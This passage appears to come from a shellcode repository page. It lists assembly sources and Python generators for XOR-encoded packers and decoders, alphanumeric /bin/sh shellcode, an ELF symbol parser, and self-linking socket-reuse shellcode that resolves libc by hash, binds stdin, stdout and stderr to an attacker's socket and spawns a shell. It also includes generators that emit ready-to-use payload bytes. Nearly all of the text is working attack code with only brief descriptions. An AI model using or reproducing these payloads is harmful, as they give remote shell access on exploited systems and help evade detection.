printf("%s", inbuf); memset(inbuf, 0, 1024); memset(buf, 0, 1024); } return 0; } |
Self-modifying
Documentation: self-modifying code
See also: environmental documentation, environmental shellcode, shellcode loading documentation, shellcode loaders
packer.s
Description: Shellcode packer
# 55 bytes .section .data .section .text .globl _start _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer xor %rsi, %rsi push $0x34 pop %rdi count_chars: cmpb %dil, (%rbx, %rsi, 1) int3 je write xor $0x16, (%rbx, %rsi, 1) inc %rsi jmp count_chars write: mov $0x1, %rax mov $0x1, %rdi mov %rsi, %rdx mov %rbx, %rsi syscall exit: push $60 pop %rax xor %rdi, %rdi syscall |
decoder-no-mmap.s
Description: Unpacker without mmap
# 69 bytes jmp start inject: pop %rdi # return value xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb $0x17, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b xor $0x16, %r10b movb %r10b, (%rbx, %rsi, 1) inc %rsi jmp inject_loop inject_finished: inc %rsi movb $0xc3, (%rbx, %rsi, 1) push %rdi push %rbx ret getpc: mov (%rsp),%rbx ret start: call getpc add $0xe,%rbx push %rbx call inject exit: push $0x3c pop %rax xor %rdi, %rdi syscall |
decoder.s
Description: Shellcode unpacker using mmap
# 102 bytes jmp start inject: pop %rdi pop %rcx pop %rax xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb $0x20, (%rax, %rsi, 1) je inject_finished movb (%rax, %rsi, 1), %r10b xor $0x3, %r10b movb %r10b, (%rcx, %rsi, 1) inc %rsi jmp inject_loop inject_finished: inc %rsi movb $0xc3, (%rcx, %rsi, 1) push %rdi push %rcx ret getpc: mov (%rsp),%rbx ret start: call getpc add $0x31,%rbx push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9 syscall # The syscall for the mmap(). push %rax push %rbx call inject exit: push $60 pop %rax xor %rdi, %rdi syscall |
packer-32.s
Description: 32-bit shellcode packer
# 37 bytes .section .data .section .text .global _start _start: pop %ecx pop %ecx pop %ecx #arg1 pointer xor %ebx, %ebx push %ebx pop %edx #zero out ebx and edx count_chars: cmpb %dl, (%ecx, %ebx, 1) je write xor $0x3, (%ecx, %ebx, 1) inc %ebx jmp count_chars #counts characters and xor encode them write: push $4 pop %eax mov %ebx, %edx push $2 pop %ebx int $0x80 #writes encoded chars to stdout exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exits |
decoder-32.s
Description: 32-bit shellcode decoder
# 89 bytes .section .data .section .text .global _start _start: jmp start inject: pop %ecx #pop the return address pop %ebx #pop the encoded shellcode start address pop %eax #pop the mmaped memory address xor %edx, %edx push %edx pop %ecx #zero out edx and ecx (which holds the return address) inject_loop: cmpb $0x20, (%ebx, %edx, 1) je inject_finished movb (%ebx, %edx, 1), %cl xor $0x3, %cl movb %cl, (%eax, %edx, 1) inc %edx jmp inject_loop inject_finished: inc %edx movb $0xc3, (%eax, %edx, 1) push %ecx push %eax ret getpc: mov (%esp), %eax ret start: call getpc #find ourself on stack mov %eax, %edx add $0x2a, %edx #add decoder length to find shell beginging push $90 pop %eax #mmap() syscall xor %ebx, %ebx push %ebx push %ebx #arg 5/6 push $0x22 #arg 4 push $0x7 #arg 3 push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 0x1000 push %ebx #arg 1 mov %esp, %ebx int $0x80 push %eax #push mmap pointer push %edx #push our shellcode begining call inject exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 |
Alphanumeric
Documentation: alphanumeric shellcode
See also: environmental documentation, environmental shellcode
architecture_detection
Description: Alphanumeric architecture detection shellcode
TX4HPZTAZAYVH92
binsh.s
Description: Alphanumeric /bin/sh shellcode
XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00 |
# 104 bytes .text .global _start _start: pop %rax push %rsp pop %rax xor $0x65,%al xor $0x75,%al xor %rsi, (%rax) # mov emulated into rsi xor (%rax), %rsi push %rsi pop %rcx pushq $0x3030474a pop %rax xor %eax,0x64(%rcx) push %rsp pop %rcx pop %rax movslq 0x30(%rcx),%rsi xor %esi,0x30(%rcx) movslq 0x34(%rcx),%rsi xor %esi,0x34(%rcx) movslq 0x30(%rcx),%rdi movslq 0x30(%rcx),%rsi push %rdi pop %rdx pushq $0x5a58555a pop %rax xor $0x34313775,%eax xor %eax,0x30(%rcx) pushq $0x6a51475a pop %rax xor $0x6a393475,%eax xor %eax,0x34(%rcx) xor 0x30(%rcx),%rdi pop %rax push %rdi pushq $0x58 movslq (%rcx),%rdi xor (%rcx),%rdi pop %rax push %rsp xor (%rcx),%rdi xor $0x63,%al rex.RB rex.X xor %sil,(%rax) |
Parsing
Documentation: ELF parsing shellcode
elf64-parser.s
Description: ELF64 symbol parser
# 188 bytes .section .data .section .text .globl _start _start: jmp startup strlen: xor %rdx, %rdx next_byte: inc %rdx cmpb $0x00, (%rsi,%rdx,1); jne next_byte ret getpc: mov (%rsp), %rax ret startup: xor %r15, %r15 push $0x0a0a0a mov %rsp, %r15 call getpc dec %rax xor %rcx, %rcx push $0x2 pop %rsi find_header: cmpl $0x464c457f, (%rax,%rcx,4) # Did we find our ELF base pointer? je find_sections dec %rax jmp find_header find_sections: # %rax now = base pointer of ELF image. xor %rbx, %rbx add $0x28, %bl xorl (%rax,%rbx,1), %ecx # %rcx = offset to section headers addq %rax, %rcx # %rcx = absolute address to section headers # each section header is 0x40 bytes in length. next_section: xor %rbx, %rbx xor %rbp, %rbp add $0x40, %rcx # %rcx now = address to first entry add $0x04, %bl xor (%rcx,%rbx,1), %ebp # %rbp now contains type cmp $0x02, %bpl jne next_section found_symbols: xor %r8, %r8 mov %rcx, %r8 # %rcx = pointer to top of symbol section header add $0x40, %r8 # %r8 = pointer to top of string table section header xor %rbx, %rbx xor $0x18, %bl # pointer to actual section is $0x18 bytes from header base xor %r9, %r9 xor %r10, %r10 xor (%rcx,%rbx,1), %r9 xor (%r8,%rbx,1), %r10 addq %rax, %r9 # r9 should now point to the first symbol addq %rax, %r10 # r10 should now point to the first string addq $0x18, %r9 next_symbol: addq $0x18,%r9 xor %rcx, %rcx xor %rbp, %rbp xor %rdi, %rdi xor (%r9,%rcx,1), %ebp # %rbp now contains string offset. cmp %rbp, %rdi je next_symbol print_symbol_name: mov %rbp, %rsi addq %r10, %rsi # %rsi should now be a pointer to a string push $0x01 pop %rax push %rax pop %rdi call strlen syscall push $0x01 pop %rax push %rax pop %rdi push $0x02 pop %rdx push %r15 pop %rsi syscall jmp next_symbol |
Dynamic
Documentation: dynamic shellcode
See also: environmental documentation, environmental shellcode, self-modifying documentation, self-modifying shellcode
poly-linker-fd-reuse.s
Description: Polymorphic self-linking file descriptor reuse shellcode
# 268 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret exit: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx _world: movl $0xf8cc01f7, %ebp # getpeername() is in %rbp push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %di jz exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push %rcx call *%rcx pop %rcx check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax cmpl %eax, (%rsp,%r8,4) jne loop check_port: movb $0x35, %r8b mov $0x2dfb, %ax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop push $0x70672750 pop %rbp reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx pop %rcx inc %esi cmp $0x4, %esi jne dup_loop movl $0xf66bbb37, %ebp xor %rdi, %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' call *%rcx |
linker-fd-reuse.s
Description: Self-linking file descriptor reuse shellcode
# 268 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret exit: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx _world: movl $0xf8cc01f7, %ebp # getpeername() is in %rbp push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %di jz exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push %rcx call *%rcx pop %rcx check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax not %eax cmpl %eax, (%rsp,%r8,4) jne loop check_port: movb $0x35, %r8b mov $0x2dfb, %ax not %eax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop push $0x70672750 pop %rbp reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx pop %rcx inc %esi cmp $0x4, %esi jne dup_loop movl $0xf66bbb37, %ebp pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' call *%rcx |
linked-exit.s
Description: Self-linking exit shellcode
# 135 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret _world: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx |
Generators
See also: socket-reuse documentation, socket-reuse shellcode, self-modifying documentation, self-modifying shellcode, dynamic documentation, dynamic shellcode
socket-reuse-generator.py
Description: Socket-reuse shellcode generator
#!/usr/bin/python2.7 import re, sys, socket, struct if len(sys.argv) < 3: print("Usage: " + sys.argv[0] + " <source IP> <source port> [dynamic]") exit() standard_shellcode = \ "\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6" \ "\\x02\\x10\\x48\\x8d\\x72\\x04\\xff\\xc7\\x66\\x85\\xff\\x74\\xe5\\x48\\x8d\\x62" \ "\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xe8\\x6a\\x1b" \ "\\x59\\xbb%s\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xd9\\xb1\\x35\\x66\\xbb%s\\x66\\xf7" \ "\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xca\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \ "\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69" \ "\\x6e\\x2f\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05" dynamic_shellcode = \ "\\x68\\xff\\x30\\x01\\x40\\x5b\\xc1\\xeb\\x08\\x48\\x8b\\x0b\\x48\\x03\\x4b\\x10" \ "\\x48\\x8b\\x59\\x20\\x48\\xff\\xcb\\x81\\x3b\\x7f\\x45\\x4c\\x46\\x75\\xf5\\xeb" \ "\\x03\\x59\\xeb\\x6a\\xe8\\xf8\\xff\\xff\\xff\\x55\\x55\\x52\\x48\\x31\\xd2\\x57" \ "\\x50\\x53\\x56\\x55\\x5f\\x53\\x5d\\x6a\\x4c\\x58\\x48\\x03\\x1c\\x83\\x48\\x83" \ "\\xc3\\x10\\x80\\x3b\\x05\\x75\\xf7\\x48\\x8b\\x43\\x08\\x48\\x8b\\x5b\\x18\\x48" \ "\\x83\\xc3\\x18\\x52\\x5e\\x66\\x33\\x33\\x48\\x01\\xc6\\x50\\x52\\x52\\x58\\xfc" \ "\\xac\\xc1\\xc2\\x0c\\x01\\xc2\\x84\\xc0\\x75\\xf6\\x52\\x5e\\x5a\\x58\\x39\\xf7" \ "\\x75\\xdd\\x48\\x03\\x6c\\x93\\x08\\x48\\x89\\x6c\\x24\\x30\\x5e\\x5b\\x58\\x5f" \ "\\x5a\\x5d\\xc3\\x68\\x80\\x47\\x6c\\x69\\x5d\\x48\\x31\\xff\\xff\\xd1\\xbd\\xf7" \ "\\x01\\xcc\\xf8\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d" \ "\\x72\\x04\\x66\\xff\\xc7\\x74\\xdc\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x51" \ "\\xff\\xd1\\x59\\x84\\xc0\\x75\\xeb\\x6a\\x1b\\x41\\x58\\xb8%s\\xf7\\xd0\\x42" \ "\\x39\\x04\\x84\\x75\\xda\\x41\\xb0\\x35\\x66\\xb8%s\\xf7\\xd0\\x66\\x42\\x39" \ "\\x04\\x44\\x75\\xca\\x68\\x50\\x27\\x67\\x70\\x5d\\x48\\x31\\xd2\\x52\\x52\\x5e" \ "\\x51\\xff\\xd1\\x59\\xff\\xc6\\x83\\xfe\\x04\\x75\\xf5\\xbd\\x37\\xbb\\x6b\\xf6" \ "\\x48\\x31\\xff\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \ "\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\xff\\xd1" if len(sys.argv) == 4 and sys.argv[3] == "dynamic": shellcode = dynamic_shellcode else: shellcode = standard_shellcode convert = lambda x: ''.join(['\\x%.2x' % (ord(char) ^ 0xff) for char in x]) ip_addr = convert(socket.inet_aton(sys.argv[1])) port_no = convert(struct.pack("!H", int(sys.argv[2]))) shellcode = shellcode % (ip_addr, port_no) for lin in re.findall(".?"*64, shellcode): if lin != "": print("\"" + lin + "\"") |
shellcode-generator.py
Description: Nicely assemble and output shellcode in a variety of formats (raw, hex, and as a C variable)
#!/usr/bin/python2 import os import re import argparse def detect_file_type(path): file_type = os.popen("file %s" % path).read(200) if "assembler" in file_type: return 0 elif "ELF" in file_type: return 1 else: print "Incompatible file type, quitting." exit() def extract(path): if not detect_file_type(path): orig_path = path path = path.split(".")[0] if os.system("as -o %s.o %s" % (path, orig_path)) == 1: print " [!] Assembly failed." exit() if os.system("ld -o %s %s.o" % (path, path)) == 1: print " [!] Linking failed." exit() shellcode = "" for line in os.popen("objdump -d %s" % path).readlines(): for byte in line.split(): if re.match("^[a-f0-9][a-f0-9]$", byte): shellcode += chr(int(byte, 16)) return shellcode if __name__=="__main__": parser = argparse.ArgumentParser() parser.add_argument('--file', required=True) parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)") parser.add_argument('--raw', action='store_true', help="Output in raw format") parser.add_argument('--var', action='store_true', help="Output as a variable") parser.add_argument('--len', action='store_true', help="Output the length") args = parser.parse_args() shellcode = extract(args.file) if args.hex or args.var: tmp = ''.join(["\\x%.2x" % ord(byte) for byte in shellcode]) if args.var: tmp2 = "char shellcode[] = {\n" for line in re.findall(".?"*64, tmp): if line != "": tmp2 += " \"%s\" \n" % line tmp = tmp2 + "};" print tmp elif args.raw: print shellcode else: parser.print_help() exit() if args.len: print " [*] Length: %d bytes" % len(shellcode) |
hash-generator.s
Description: Hash generator for self-linking shellcode
# 81 bytes .text .globl _start _start: jmp startup calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax ret startup: pop %rax pop %rax pop %rsi xor %rdx, %rdx call calc_hash push %rsi mov %rsp, %rsi push %rdx mov %rsp, %rcx mov $0x4, %rdi loop: dec %rdi movb (%rsi,%rdi,1), %al movb %al, (%rcx,%rdx,1) inc %rdx cmp %rdi, %r10 jnz loop mov %rcx, %rsi inc %rdi mov %rdi, %rax syscall mov $0x3c, %rax dec %rdi syscall |